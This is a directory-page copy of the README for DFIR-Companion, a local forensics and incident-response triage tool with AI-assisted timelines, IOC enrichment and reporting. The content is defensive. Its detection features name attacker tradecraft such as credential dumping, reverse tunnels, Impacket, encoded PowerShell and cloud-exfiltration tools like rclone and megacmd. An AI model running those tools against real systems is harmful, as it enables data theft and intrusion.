Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
DFIR-Companion — DFIR forensics companion server + capture extension | Kitploit
Tools/GitHubGitHub/hasamba/dfir-companion
Defensive ToolsIndicator of Compromise (IOC) ManagementMemory ForensicsVulnerability AnalysisNetwork ForensicsForensicsMalware AnalysisDigital ForensicsThreat IntelligenceIncident ResponseAI SecurityLog Analysis
18414h 18m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHubhasamba/dfir-companion

DFIR-Companion

DFIR forensics companion server + capture extension

View Repository
Share

DFIR Companion logo

DFIR Companion

License: AGPL v3

AI-assisted DFIR triage — on your machine. Turns investigation screenshots and imported artifacts into a forensic timeline, findings, IOCs, an asset↔IoC graph, and shareable reports; ask the case questions in plain English and collaborate with other investigators.

A localhost digital-forensics / incident-response companion. A browser extension captures screenshots of your investigation (Velociraptor, EDR/SIEM dashboards, Security Onion, Splunk4DFIR, VolWeb, VirusTotal, etc.) as evidence; a local server stores them, runs windowed AI vision analysis into an accumulating per-case investigation state, and serves a live dashboard plus exportable reports.

Everything runs on your machine — the companion binds to 127.0.0.1 only, evidence stays on disk, and the AI provider is yours to choose.

Post-detection analysis layer. DFIR Companion is NOT a detection engine — it ingests verdicts from Velociraptor, Security Onion, Chainsaw, Hayabusa, THOR, Cyber Triage, EDR/SIEM, correlates them into one forensic timeline, and synthesizes findings, attacker path, IOCs, and reports. The value is "so what", not re-deriving alerts.

Demo Case: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo

Hands-on lab: https://killercoda.com/dfir-companion/scenario/killercoda

User Manual: https://hasamba.github.io/DFIR-Companion/manual/

Download Tool

Table of contents

  • Quick start
  • Docker / Docker Compose
  • Windows (Chocolatey)
  • Linux (AppImage)
  • Screenshots
  • What it produces
  • Features
  • Using your MCP servers
  • Repository layout
  • How the pieces fit
  • Environment variables (companion/.env)
  • npm scripts — full CLI reference
  • Recommended workflows
  • Roadmap
  • Tests
  • Disclaimer
  • License

Screenshots

Demo case: GlobalTech Industries — BEC & Ransomware Precursor, May 2026.

A fully pre-populated case you can explore without importing any real evidence — findings, IOCs, MITRE techniques, analyst tags/comments, customer exposure data, and report metadata are all pre-seeded so every dashboard panel has something to show.

Load it in one click — click the Demo case button in the dashboard toolbar. It works with the portable Windows EXE too (no Node or npm required). The button confirms before overwriting if the case already exists.

Or seed from the CLI (dev / Docker):

root@kitploit:~
cd companion && npm run seed-demo              # creates case id "demo"
npm run seed-demo -- --force                  # overwrite an existing demo case
npm run seed-demo -- --case-id globaltech     # use a custom id

Then open http://127.0.0.1:4773/dashboard and connect to the case.


Executive Summary, Narrative & Attack Path

AI-generated case summary, minute-by-minute narrative, and attacker-path write-up — from initial access to ransomware deployment.

DFIR Companion — executive summary, narrative timeline, and attack path

Forensic Timeline

Analyzed events with severity filters, triage tags, per-row detail links, and import change tracking (new-events banner with expandable diff).

DFIR Companion — forensic timeline with severity filters and triage tags

Super-Timeline

Every event ever imported, before scope/severity filtering — filter, tag, star, and promote rows up into the analyzed forensic timeline; nothing is removed, this is a superset view.

DFIR Companion — super-timeline showing every imported event before promotion

Timeline Swimlane

Visual chart of events by asset (Y-axis) and time (X-axis), colored by severity — drag the time axis to filter the forensic timeline to a range.

DFIR Companion — timeline swimlane chart grouped by asset

Findings

AI-generated findings with confidence scores, analyst triage tags, and MITRE ATT&CK technique links; tracks what changed since the prior synthesis run.

DFIR Companion — findings list with confidence scores and MITRE ATT&CK links

Kill Chain

Events bucketed by MITRE ATT&CK tactic — a categorization, not a confirmed kill-chain stage, derived deterministically with no AI.

DFIR Companion — kill chain view bucketing events by MITRE ATT&CK tactic

Key Investigative Questions

Standard DFIR questions auto-answered from the synthesized case (answered / partial / unknown), each with an evidence pointer or a "collect this next" directive.

DFIR Companion — key investigative questions with answers and evidence pointers

Playbook

Actionable remediation checklist auto-derived from findings and recommended next steps; re-synced on each synthesis run while preserving analyst status, assignee, and due dates.

DFIR Companion — remediation playbook checklist derived from findings

Host & Account Ranking

Which hosts/accounts carry the attack, scored by signal (severity-weighted events + techniques + connective IOCs) rather than volume, with a suggested scope window.

DFIR Companion — host and account ranking scored by signal

Evidence Chain Graph

Process trees, lateral movement, and file lineage stitched into one causal attack graph. Derived deterministically from importer-populated fields — no AI, no cost, runs offline.

DFIR Companion — evidence chain graph with process trees and lateral movement

Login Graph

Who logged on where — accounts and hosts linked from super-timeline logon events, distinguishing successful, failed, and risky (RDP/runas/netonly) logons.

DFIR Companion — login graph linking accounts to hosts

Beacon Candidates

Periodic outbound channels too regular to be human traffic — a hunting lead, not a verdict, with interval, jitter, and event count per candidate.

DFIR Companion — beacon candidates table with interval and jitter

IOCs with Threat-Intel Enrichments

Indicators (IPs · domains · hashes · files · processes · accounts) enriched against VirusTotal, AbuseIPDB, ThreatFox, and other providers — verdict badges, detection scores, NEW import highlights, and analyst triage labels.

DFIR Companion — IOCs enriched with VirusTotal, AbuseIPDB, and ThreatFox

Compromised Assets & IOC Graph

Interactive graph linking victim hosts and accounts to the indicators that touched each, plus a list of known compromised hosts and users.

DFIR Companion — compromised assets and IOC graph

What it produces

  • Forensic timeline — real events with timestamps from artifacts, sortable/filterable by date/severity/source
  • Findings — per-technique analytic conclusions with severity + MITRE ATT&CK mapping
  • Pinned findings — pin the key findings (📌) to a sticky strip at the top of the Findings panel; drag-to-reorder, one-click jump, capped shortlist, persisted per case (travels in the case archive export)
  • IOCs, MITRE coverage, attacker-path narrative — cross-source corroboration badges + kill chain
  • Inline IOC quick-actions — click any detected value (IP/hash/domain/SID/URL/path) in an event row or an IOC value for a one-click tray: copy, mark benign, mark confirmed-malicious, suggest hunt — each outcome recorded to the investigation log
  • Attack phases — timeline grouped into activity bursts by time gap, labeled by dominant tactic (deterministic, no AI)
  • Beacon/C2 candidates — outbound channels with regular inter-arrival intervals (a hunting lead, not proof)
  • Timeline anomalies — per-asset event-rate spikes, two baselines: peer (an asset far busier than other assets in the same bucket) and self (an asset bursting above its own typical rate — catches a normally-quiet host that bursts, which broad telemetry can't mask); ranked Critical/High/Medium, linked to timeline events (deterministic, no AI)
  • Log gap analysis — suspicious silent periods in the timeline, flagged by density + working-hours rules
  • Gap hypotheses & shadow artifacts — AI-proposed attacker actions during silent windows + Velociraptor collections to reconstruct missing time
  • Memory-forensics "Next-Step" — on Volatility 3/Rekall import, spot anomalies (mis-parented procs, injected memory, encoded commands) and propose the next analysis step
  • Adversary hints — MITRE ATT&CK groups ranked by technique overlap (offline dataset, sub-technique-aware; hypothesis fuel, not attribution)
  • Adversary emulation — likely next techniques: the matched groups' named tradecraft the case hasn't observed yet, ranked by distinctiveness as hunt priorities, each with a one-click "hunt this" → Velociraptor VQL
  • Mitigations & defensive countermeasures — concrete MITRE ATT&CK Mitigations (M-codes) for the case's techniques, ranked by leverage (which one mitigation covers the most techniques), plus MITRE D3FEND hardening/detection/isolation steps; offline, no AI. Bridges "what the attacker did" to "what to actually do about it." A ✨ Generate remediation plan button turns it into a concrete, incident-specific IR plan (one AI call)
  • Compromised assets — victim hosts/accounts + interactive asset↔IOC graph
  • Host & account ranking — which hosts/accounts carry the attack, scored by signal (severity-weighted events + techniques + connective IOCs) not volume, with a one-click suggested scope window; click a ranked row to expand the events/IOCs behind its score inline (capped at 50 each) and jump straight to a cited event in the timeline
  • Key investigative questions — answered with pointers to evidence or next steps to collect
  • Investigation threads — open/resolved leads
  • Dashboard view presets — one-click Analyst/Lead/Executive (role) + Triage/Report/Deep-Dive/Hunt-Prep (phase) layouts that re-arrange panels, filter by severity, and pair a report template; per-case, fully editable. Analyst is the default for any case with no saved per-case choice; explicitly picking Custom still sticks across reloads
  • Reports — Markdown, HTML, PDF, Word (.docx), CSVs, JSON exports

Features

Onboarding

  • Setup wizard — a first-run overlay (also in Settings) that configures AI, Presidio, integrations, enrichment, push ingest, NSRL and a notification channel, each with a live test. Everything is optional

Capture & ingest

  • Least-privilege MV3 browser extension — zero site access at install, exact-origin console approval/revocation, one-off active-tab capture, timer + event-driven capture, local permission audit, offline queue + auto-sync
  • One-click artifact push — Splunk/Velociraptor/Kibana/Security Onion/SO-CRATES/CrowdStrike/VolWeb injects Push to DFIR-Companion button; intercepts API JSON or scrapes table; the popup shows the auto-detected console with a dropdown to force a different adapter (or none) per tab
  • Right-click "Send to DFIR-Companion" — send a page's selected text, a nearby table, or a link's URL straight to the connected case from any page, not just recognized consoles
  • Case management — + New case in dashboard (templates auto-load incident questions + import hints); captures to unknown case rejected
  • Case password protection — 🔒 Password… locks a case in the dashboard, enforced server-side; capture ingestion keeps working while locked
  • Permanently delete a case — 🗑️ Delete… in the case lifecycle menu removes a case's directory for good, with an optional ZIP/encrypted archive taken first; refuses to touch a directory that isn't a real case and won't delete an already-archived case's live folder out from under its archive
  • Import screenshots — multi-select PNG/JPEG/WebP; single Import button auto-detects artifact format (CSV/JSON/log)
  • "Which host did this file come from?" — a log export that names no collector asks for its host; old names fold in as former names
  • Evidence drop folder — files copied into a case's drop/ folder import in the background, move to _processed/ or _failed/, and log to drop-log.txt; an asset=<HOST> subfolder names the host
  • External tool runner (Settings → Tools) — run your own Hayabusa, Chainsaw, Velociraptor CLI, Suricata, Snort, YARA or custom tools on raw evidence and import their output; raw .evtx kept byte-for-byte, parser version and exit code in custody, fail-closed, off by default
  • MCP through Claude Code (Settings → Tools) — send case evidence to the MCP servers you configured in Claude Code (SIFT, REMnux, windows-triage); needs Claude Code on the host. A server with a command runner means command execution there — read Using your MCP servers first
  • Import undo/redo — roll back/forward to exact pre-import state (no re-synthesis); multi-level per-case stack
  • Custom (declarative) importers — teach a new file format with a JSON definition (no code); LLM-authorable via a built-in prompt, auto-detected + imported like a built-in, with built-in/custom precedence
  • Evidence-first — written to disk + audit log before analysis; SHA-256 dedup (disable via DFIR_DEDUP=off)
  • Chain of custody — every screenshot and import gets an automatic, hash-chained custody record with a signed manifest
  • Incident-type auto-playbooks — picking an incident type seeds key questions, next steps, and expected findings
  • Screenshot OCR full-text search — every captured screenshot is OCR'd locally in the background; search the text seen in consoles (hostname, "mimikatz", a hash, an error) from the filter bar and jump to the screenshot. No AI, local-only (DFIR_OCR_SEARCH=off to disable; npm run ocr-index to backfill)
  • Localhost only — 127.0.0.1 with CORS + Private-Network-Access for extension; refuses unrecognized hostnames, closing DNS-rebinding attacks (DFIR_ALLOWED_HOSTS)

Evidence importers

All importers are deterministic (no AI call), read the artifact's own timestamps, and tag events with the real tool name for cross-source correlation. The same file can be re-imported without duplicating the timeline.

  • Canonical forensic event schema — versioned structured identities/provenance underpin imports; graph joins no longer depend on description wording
FormatKey sourcesSeverity derived from
SIEM / EDR JSONElastic, Kibana, Splunk, QRadar, any JSON/NDJSON exportWindows/Sysmon per-EID table
ECAR (EDR telemetry)EDR Common Activity Record NDJSON (object/action/properties, epoch-ms timestamp_ms) — process/flow/logon/registry/module/file/thread eventsInfo evidence; LOLBin/encoded command-line bump (public IPs → IOCs)
Windows Event Log XMLEvent Viewer "Save As XML", wevtutil qe /f:xml, Get-WinEvent … ToXml() (Security, Sysmon, System, any channel)Windows/Sysmon per-EID table
ChainsawEVTX hunt JSON/JSONL (chainsaw hunt --json); runnable directly on raw .evtx via the tool runnerMatched Sigma rule level
Hayabusajson-timeline or csv-timelineMatched Sigma rule level
VelociraptorJSON array, JSONL, or artifact mapSigma/YARA verdict or per-EID
THOR (Nextron)JSON-Lines scan outputTHOR alert level
Suricata / Zeekeve.json, Zeek JSON logs; telemetry → IOCs onlyAlert priority / notice severity
Snort / Suricata IDS (fast)alert_fast single-line alert logRule Priority (1→High / 2→Medium / 3→Low)
YARAyara -s -m CLI scan output (rule matches + strings/meta)Info→Medium per match; bump on rule score/threat_level meta
Web/proxy access logApache/Nginx/Squid combined log format (web server or forward-proxy access log); request URL, HTTP Referer, and User-Agent captured (secrets in URL/Referer + scanner/bot/injection UAs survive as events + IOCs)Info by default; access-denied (401/403/407) → Low; git smart-HTTP clone/push → T1213

Deterministic tradecraft grading — Windows/Sysmon, ECAR and memory command lines are graded against rules harvested from over 110 real intrusions (The DFIR Report, Huntress): high-confidence tradecraft → High with its ATT&CK technique (Defender disable, recovery inhibition, credential dumping, reverse tunnels, Impacket, RMM/C2, cloud exfil …), dual-use → Medium; pure discovery is tagged but never escalated.

  • SSH brute-force-success detection (T1110.001) — flags a successful login following a burst of failed attempts from the same source IP → Medium
  • Windows logon-type risk grading — decodes 4624 logon types and grades risky shapes (external RDP, network-cleartext, runas /netonly) → Medium
  • NTFS timestomp detection (T1070.006) — flags MFT $SI/$FN timestamp mismatches as likely timestomping → Medium
  • Ransomware note / renamed-file detection (T1486) — flags ransom-note filenames and known family extensions, aggregated per host, above Info so the cap can't bury it
  • RDP lateral-movement detection (T1021.001) — grades explicit-credential RDP logons to a genuinely remote target as Medium; local session-manager noise stays Info
  • Drive-by download and cloud-exfil tool detection (T1189 / T1567.002) — internet-zone runnable downloads and rclone/restic/megasync/megacmd execution in Prefetch
  • Contextual YARA severity — grades a hit by where and what it matched (self-scan → Info, page-file string → Low, named malware on a real path → High) instead of a flat High
  • Injection and hollowing sequences — Sysmon 10 / 8 / 25 / 1 joined only through a matching process GUID; access-then-thread and create-replace-thread shapes → High + T1055
  • Download mark corroborated by execution — a Zone.Identifier mark is read against Prefetch, process starts and presence records of the same file and raised only when execution is dated after it; a hidden-stream payload is graded by content, not name
  • Defender episodes — a process start from a path Defender acted on, dated after that action, is annotated and raised; a same-digest start after remediation is a High finding
  • Copied-binary lead — an MFT row whose modified time predates its created time was copied here (a renamed cmd.exe, a dropped tool)
  • Execute-assembly traces (T1620) — a CLR usage log named after rundll32, mshta or a similar host grades High
  • Discovery commands in script blocks — nltest, Get-AD*, ntdsutil … ifm and similar are read out of 4104/4103 records with their techniques
  • The case's own collector is not evidence — Velociraptor's downloads, installs, spawned PowerShell and rule files grade Info with a collector origin
  • Cloud lifecycle summaries — one row per AWS credential lineage, EC2 instance lifecycle, Workspace OAuth client, Exchange mailbox chain and Entra application privilege path whose records form one inside an upload; each says what its records establish and what they do not
  • Network relationships — TLS (Zeek ssl/x509, Suricata tls) becomes one row per relationship and per certificate; DNS answers are joined to the same client's later connections inside the TTL; web request chains join only through identifiers both records carry
  • Mobile origin tags — every iLEAPP / ALEAPP row says whether its content was recorded on this device, synced or received, from a registry pinned to upstream

AI analysis

  • Guided AI setup — the Setup wizard's first step picks provider → model (cheap/strong suggestions) → key → optional base URL, then runs a live connectivity test before you leave
  • Two-phase — cheap per-window vision (extraction) + strong text-only synthesis (findings/IOCs/MITRE/attacker path)
  • Providers — OpenAI, OpenRouter, Ollama, LiteLLM, Gemini, Anthropic, Claude Code CLI, Codex CLI; optional two-tier (cheap extract + strong synth) with context budgeting
  • EDR/SIEM consoles as evidence — detections extracted; analyst navigation filtered (real detections never dropped)
  • Severity-aware findings — Critical/High rows become findings; deterministic auto-creation for missed high-severity events
  • Confidence scoring + reasoning — every finding carries a 0–100% confidence (weighing evidence strength, tool corroboration, and model certainty) plus a one-line reason; a persistent per-case min-confidence filter (survives reload) hides low-confidence findings on demand
  • KEV / tool-confirmed / unconfirmed-lead badges — flags whether a finding is corroborated by an actively-exploited CVE, a tool-graded detection, or only raw telemetry
  • Efficient synthesis — live debounced re-synthesis; skip-if-unchanged; stratified event selection + asset↔IOC digest
  • Synthesis detection grouping — repeated hits of the same detection collapse into one prompt entry with hit count/host spread/time span, so a detection-heavy import isn't capped at a few hundred rows
  • Raised synthesis event cap (300 → 600) — plus Info-severity events no longer compete for prompt budget, so a typical case's graded detections all reach the model in one pass
  • Deep Pass — an analyst-triggered batched run that reads EVERY graded event at a chosen severity floor for full AI coverage of large multi-host cases, with a free per-floor cost/coverage preview and a dedicated dashboard panel before you spend anything
  • Synthesis coverage audit — the synth-meta card shows how many in-window events a run considered vs. omitted, and why
  • Second LLM opinion — a rival model (B) re-synthesizes the case; a configurable referee judges each disagreement from the cited events; accept per item or follow the referee in one click
  • Missed evidence review — an analyst-pressed fast model (Jev) grades the Info rows the content tagger left behind; tick rows and promote them with the model's grade (off until DFIR_JEV_ENABLED)
  • Negative answers name their evidence — a per-host collection inventory reaches synthesis, so "not observed" says what was collected and what to collect next
  • Other commands in this session — each finding lists the attack session's command lines that no finding names
  • AI-assisted content-tagger rules — describe a rule in plain English; AI drafts, previews, and adds it
  • AI-input anonymization — reversibly tokenizes IPs, users, hosts, domains, emails, paths, card/phone/national-ID numbers, encoded commands and SIDs; one-way-redacts secrets. Optional Presidio catches names, with an approval gate

Correlation & deduplication

  • Cross-source correlation — the same artifact seen by different tools collapses into one corroborated event (shared hash / same path in a time window / exact duplicate), tagged with the real tool names. Idempotent — re-importing never doubles the timeline.
  • Cross-tool command-line correlation — merges same process-creation events reported by different tools that share a command line, parent process, and host
  • Corroboration filter (lens) — per-section control (Timeline / IOCs / Findings) that shows only items seen by 2+ or 3+ tools; a lens, not a gate
  • Per-source noise/trust scores — weights sources by reliability for correlation wording and confidence capping; overridable per case

Investigation workflow

  • Host scope & clearance ledger — evidence-derived per-host status, analyst clearance behind an eligibility checklist that names the missing evidence class, append-only attributed decisions, flag-don't-revert staleness, and a ranked list of hosts named in the evidence but never collected
  • Reproducible analysis-run ledger — imports, tagging, enrichment, synthesis and reports leave immutable hash-chained manifests pinning their evidence; runs can be inspected, replayed and compared
  • Controlled report review & immutable release — draft → peer review → approval, evidence and integrity release gates, identity-bound sign-off, explicit supersession, version diffs, and frozen executive/technical/legal/IOC packs
  • Optional authenticated team mode — OIDC or an audited local account, per-case roles, service identities and analyst attribution; loopback single-user stays the default (setup guide)
  • Cited AI answers — findings, Ask-the-case, Explain Event, and AI-suggested hunts (playbook + fleet) show numbered, clickable citations to the supporting forensic events/findings, in both the dashboard and the exported report
  • Explain This Event — 💡 per-row AI button explains any forensic event in context: what happened, why it matters, normal-vs-suspicious, ATT&CK mapping, 1–3 runnable pivot queries (VQL/KQL/SPL), evidence for/against; ephemeral overlay
  • Ask the case (GraphRAG) — free-form Q&A grounded in timeline + deterministic evidence-chain graph; multi-hop questions answered via real relationships
  • Hypothesis-driven mode — status-tracked hypotheses with evidence links and ACH-style ranking; open ones steer synthesis, and they survive synthesis and archives
  • On-demand hypothesis falsification review — a "Review" button runs a focused for/against pass over open hypotheses without re-running full synthesis
  • Distinguishing evidence — every observation says whether it separates a hypothesis from its alternatives or fits them all; a frozen judgment whose footing changes is flagged for review
  • Attack outcome on two axes — each finding records execution (observed / not) and control (blocked / remediated / failed / allowed / none) separately, analyst-set and synthesis-proof; a blocked attack is neither dismissed nor left open at High
  • Finding tasks — each Critical/High finding becomes an imperative, evidence-named playbook task with numbered steps and a Done-when line
  • Handoff Brief — a shift-change panel: findings by owner, open questions and hypotheses, next steps, unchecked IOCs, the last import, the outgoing analyst's note; copy as Markdown, opt-in report section
  • Declared-scope analyses — Phishing campaign scope, Served exposure, Kerberoast chain and Sensitive access: declare what matters and read what the rows establish, stage by stage
  • Post-remediation recurrence checks — declare a remediation boundary; Verify returns facts with coverage stated, never a negative verdict; the residual-risk status is the analyst's, recorded against an immutable receipt
  • Attribution gap leads — beside each attribution assertion, the techniques that ATT&CK group is documented to use that this case has not shown, as hunt leads
  • Case memory — synthesis logs each run to a durable, never-wiped Investigation Log; a known unknowns block (timeline gaps, uncovered ATT&CK phases, lookalike actors' next techniques) grounds synthesis + hunt suggestions; opt-in candidate-actor hypotheses (DFIR_SYNTH_ADVERSARY_HINTS)
  • Structured, deployable collection directives — "collect X" recommendations carry a machine-actionable target; one-click deploy on a known host, with auto-detected import satisfaction
  • Evidence Gaps panel — uncovered kill-chain phases render as structured items with a deployable collection directive, in a dashboard panel and report §4.6.3
  • Collection plan — incident-type evidence checklist as a dashboard panel; items self-check off as matching evidence lands
  • Attacker session / story reconstruction — the timeline re-threaded into per-host session chapters, with AI summaries and a report section
  • Clock-skew detection & timeline alignment — flags host clock drift beyond 60s; an "Align timelines" toggle corrects it everywhere
  • Playbook Match panel — did the case's techniques occur in the order a published playbook describes (Conti, LockBit, BlackCat, Akira, Scattered Spider, Black Basta, BlackSuit, Play, Egg-Cellent Resume); missing steps feed Evidence Gaps. Matches the playbook, not the actor
  • Zero-yield import warnings — flags a large AI-triaged file that produced zero events, on the import banner and Evidence Gaps panel
  • Second look — an analyst-pressed pass resolves open questions against the super-timeline, previews what it would promote, then re-runs the conclusions
  • Immediate false-positive cascade — marking a finding/IOC/event FP synchronously re-evaluates dependent questions, next-steps, and hypotheses
  • Rabbit-hole detection — findings disconnected from the main evidence graph are demoted and badged "possible rabbit hole"
  • Per-case prevalence baseline + FP-pattern propagation — rarity-biased event selection, plus one-click bulk-dismiss for events matching an already-dismissed FP pattern
  • Learn from dismissed findings — repeated FP patterns lower (not zero) confidence on similar new activity
  • Content-based event tagger (Timesketch-style tags.yaml) — rule engine tags events, raises severity, and unions MITRE techniques
  • Response Playbook — trackable checklist (status/priority/assignee/due/custom tasks); opt-in IR-templates expand findings into Contain→Investigate→Eradicate→Recover
  • Triage tags & comments — label entities + attach notes; live WebSocket sync; survive synthesis
  • Activity log — a chronological, filterable record of every security-relevant action taken on a case (imports, mark/unmark false-positive, AI runs, enrichment/anonymization toggles, settings changes, playbook edits, comments/tags, hunt runs, exports)
  • Bulk actions — multi-select events/IOCs/findings: star/tag/mark-false-positive/enrich/copy
  • IOC whitelist (Settings) — CIDR/exact/regex patterns auto-mark matching IOCs false-positive; global; opt-in
  • Per-case IOC exclude list — permanently remove domain/hostname (or any IOC type) matches from a case via exact/suffix/regex rules in the IOCs panel title bar; excluded values are purged immediately and never re-imported or enriched
  • NSRL known-good hashes (Settings) — flat hash set or direct SQLite DB query (~160 GB); auto-marks matching events/IOCs false-positive
  • Payload deobfuscation — auto-decodes base64 PowerShell (-enc, [Convert]::FromBase64String); extracts hidden IOCs; shows [Decoded] blocks
  • CISA KEV integration (Settings) — cross-reference CVEs against CISA catalog; strong initial-access signal
  • Composite IOC risk score — weighted critical/high/medium/low/benign tier per indicator, shown as a badge, filter lens, and report column
  • IOC corroboration — ⊕ N badge shows how many tools observed each indicator
  • IOC provenance — each IOC classed detection-linked (seen in a Low+ event) vs telemetry-only (Info only), distinct from the threat-intel verdict; per-IOC badge + All/Detection-linked/Telemetry-only filter
  • IOC provenance chain — per-IOC 🔗 panel: extraction event, enrichment lookups and citing findings, with a JSON export; exact source rows for the main importers
  • IOC flagged-only filter — hide everything except threat-intel-confirmed indicators
  • IOC type filter — faceted dropdown (ip/domain/url/hash/file/process/other) with per-type counts; composes with the flagged-only + search filters
  • IOC list noise-reduction controls — three composable display-only filters, default on: hide false-positive/no-intel IOCs, hide OS system-path files, and a "🎯 Signal only" narrow-to-flagged/corroborated/enriched view
  • IOC list pagination — pages client-side like the timelines, default 100/page
  • Exclude filter — chip-list control (beside the toolbar search) hides timeline events / IOCs / findings matching any of several exclude terms; per-browser
  • Hunt-pivot generator — one-click emits Velociraptor VQL, KQL, ES|QL, SPL, Sigma, YARA, Suricata queries
  • Sigma → VQL hunts — paste a Sigma rule, compile it deterministically (one fixed template per logsource category, every unsupported line refused by name), launch it as a recorded fleet hunt; process_creation rules also hunt Sysmon / 4688 history
  • Query Translator — plain English → runnable queries (NL: "PowerShell downloading then executing") across all enabled platforms; one-click-deploy VQL hunts
  • Internal Hunt Workbench — typed field queries with Boolean logic, ranges, regex, grouping, saved hunts and entity pivots over the forensic or super-timeline; raw hits stay out of AI until promoted
  • Velociraptor triage bundles — browse artifacts, save bundles (built-ins include Hayabusa Full), run them as hunts, and auto-collect + import the results
  • AI-suggested fleet hunts — AI proposes proactive fleet-sweep hunts grounded in the causal evidence graph (spawn chains, file lineage, lateral movement), so hunts target the relationship, not just the leaf indicator
  • AI-suggested playbook hunts — AI proposes hunts per endpoint-related task (single-endpoint collection or fleet hunt)
  • Hunting feedback loop — records each deployed hunt's outcome (new evidence + counts) per case; suggestions skip an already-run query and pivot on what hit, with a Hunting Profile of hunted/hit/missed
  • Webhook push ingest (opt-in, token) — external tools push alerts via POST /cases/:id/push (SIEM webhook, Velociraptor monitor, scripts)
  • Velociraptor live monitoring (opt-in) — stream CLIENT_EVENT artifacts (e.g., ProcessCreation) as events fire; auto-collect on interval; one-click auto-monitor for all enabled artifacts
  • Import an external hunt/flow — paste a Velociraptor hunt id, flow or GUI URL (or an Uploaded Files URL for THOR/Hayabusa reports); the host is resolved automatically, and an artifact not read in full is named, never reported as "no rows"
  • Scope + false-positive marking — set time window; mark findings/IOCs/events false-positive with a structured reason (known-good tool/authorized test/detection misfire/duplicate/other) + analyst attribution (reversible); all views re-project
  • False-positive similarity suggestions — mark one item false-positive and get ranked "similar items" candidates (shared MITRE/process/hash/asset/IOCs), deterministic or AI-assisted, to dismiss the same pattern in one pass; single-IOC marks can also one-click-promote to the global IOC whitelist
  • Super-Timeline — a Timesketch-style record of every imported event, kept apart from the forensic timeline and never read by the AI; filter, label, save timeframes, and promote rows into the forensic timeline
  • Severity-gated forensic timeline — Info telemetry routes to the super-timeline only (the forensic timeline keeps Low+ graded signal) so synthesis isn't swamped; configurable via DFIR_FORENSIC_MIN_SEVERITY + a per-case override, promotion bypasses the gate, and IOCs are still extracted from every event
  • Freshness — "last synthesized N ago" + diff (duration/event/IOC counts); "last import N ago" + NEW row highlights; ⚠ advisory for cases >5 000 events
  • Timeline event-density heatmap — a bar strip above the Forensic Timeline buckets the full filtered dataset (every page, not just the current one) by time, colored by each bucket's worst severity; click a bar to zoom the timeline to that window; collapses to a thin sparkline on mobile
  • Timeline pagination — 100/250/500/all rows per page (user-selectable); prev/next controls
  • Timeline source filter — faceted dropdown (beside the severity legend) to show/hide events by the tool/source that produced them; multi-source events stay visible unless every source is hidden
  • Timeline origins filter — one level more specific than the source filter: shows/hides events by the exact artifact that produced them (e.g. DetectRaptor.Windows.Detection.MFT), on both the forensic and super timelines
  • Timeline row display — Settings → General toggles which sub-elements each timeline row shows (action icons / tag pills / badges / host chip / MITRE / related findings / evidence links); timestamp + message always shown; per-browser, applies immediately
  • Vim-style keyboard navigation — j/k moves a focused-row highlight on the Forensic Timeline, f stars, i prefills the manual IOC form, p pins the cited finding, n opens a comment, ? shows a cheat sheet; toggleable in Settings → General, default on
  • Remember import severity — the minimum-severity import prompt has a don't ask again checkbox that saves the chosen floor and skips the prompt on future imports; manage/clear it in Settings → General → Import severity; per-browser
  • Correlation profile — per-case Strict/Moderate/Aggressive/Custom window for cross-source event merging; toolbar dropdown + PUT /cases/:id/correlation-profile

Threat-intel enrichment (off by default — opt-in per case)

  • Sources — VirusTotal, Hunting.ch (MalwareBazaar/ThreatFox/URLhaus/YARAify), CrowdStrike Falcon TI, AbuseIPDB, MISP, YETI, OpenCTI, RockyRaccoon (process prevalence + anomalous parent/child), CIRCL hashlookup (keyless known-file / known-good hash lookup — cuts false positives)
  • Lookalike / typosquat domain detection — offline provider flags domains impersonating common brands (T1566/T1583.001); on by default
  • IP infrastructure — Reverse DNS (PTR hostnames), WHOIS over RDAP (netblock/ASN/abuse-contact), GeoIP (country/city/ASN/org), Shodan host (hosted domains/ports/services/CVEs); the "where from / who owns it / what's hosted" context layer — Reverse DNS/WHOIS/GeoIP are keyless, Shodan reuses DFIR_SHODAN_KEY
  • Local vs external — MISP/YETI/OpenCTI on-box; third-party SaaS opt-in per case; enabling source re-checks all existing IOCs
  • Dated, sourced verdicts — each hit carries the provider's dates, origin and creator; expired and revoked assertions are kept and marked, and Intel Retirement Review lists findings whose intel went stale
  • Reachability gate — health-probe self-hosted instances; auto-resume when online

Customer exposure (separate from IOC enrichment)

  • Victim org assets only — HIBP, LeakCheck, DeHashed (email breaches), Shodan (exposed hosts/ports/CVEs); per-provider opt-in
  • OPSEC boundary — only analyst-entered domains queried; adversary/IOC domains never sent; raw passwords never stored

Dashboard & reports

  • Investigator cockpit — the default Now view ranks the next leads, gaps and report blockers; Story so far shows one card per kill-chain stage and copies as a plain-text brief
  • Live dashboard over WebSocket — collapsible, drag-to-reorder sections, scope bar, clickable evidence links, badges
  • Command palette (Ctrl+K / ⌘K) — fuzzy-search every dashboard action from one overlay
  • Help icon — a ? button beside the settings gear opens the online user manual in a new tab
  • Background jobs — a toolbar popover tracks imports, synthesis and enrichment, names the model version each AI job ran on, and Cancel hard-aborts a stuck run
  • Dark/light theme — toggle or OS preference
  • Forensic timeline rows — affected host + clickable finding links; report has Host column
  • Manual add — record missed events/IOCs (tagged manual, survives re-analysis)
  • MITRE techniques link to attack.mitre.org
  • Asset ↔ IoC graph, Evidence Chain, and Login graph — share one interactive Cytoscape view (5 layouts, live filter, fullscreen, PNG export), each with its own node glyphs/edge styling (host/account/service toggles, process lineage, risk-colored logons)
  • Timeline Swimlane — severity/tactic × time; click details, Shift-select for bulk action, PNG export
  • Reports — Markdown + HTML + PDF (one-click) + Word (.docx) + CSVs (findings/IOCs/timeline) + JSON state
  • Pre-export evidence-safety check — every human-readable export is checked against the case's own indicators and evidence text; a live indicator or unescaped evidence still ships, with a banner in the document and a dashboard warning
  • Related Cases — a panel listing other investigations that share an indicator with this one, ranked so a flagged hash outweighs a private address; off unless DFIR_CROSS_CASE=on
  • ATT&CK Navigator layer — techniques colored by severity; upload to Navigator
  • STIX 2.1 bundle — for OpenCTI, MISP, Anomali, etc.
  • IOC block-list — TXT/CSV/STIX-only; filters by severity/type/verdict
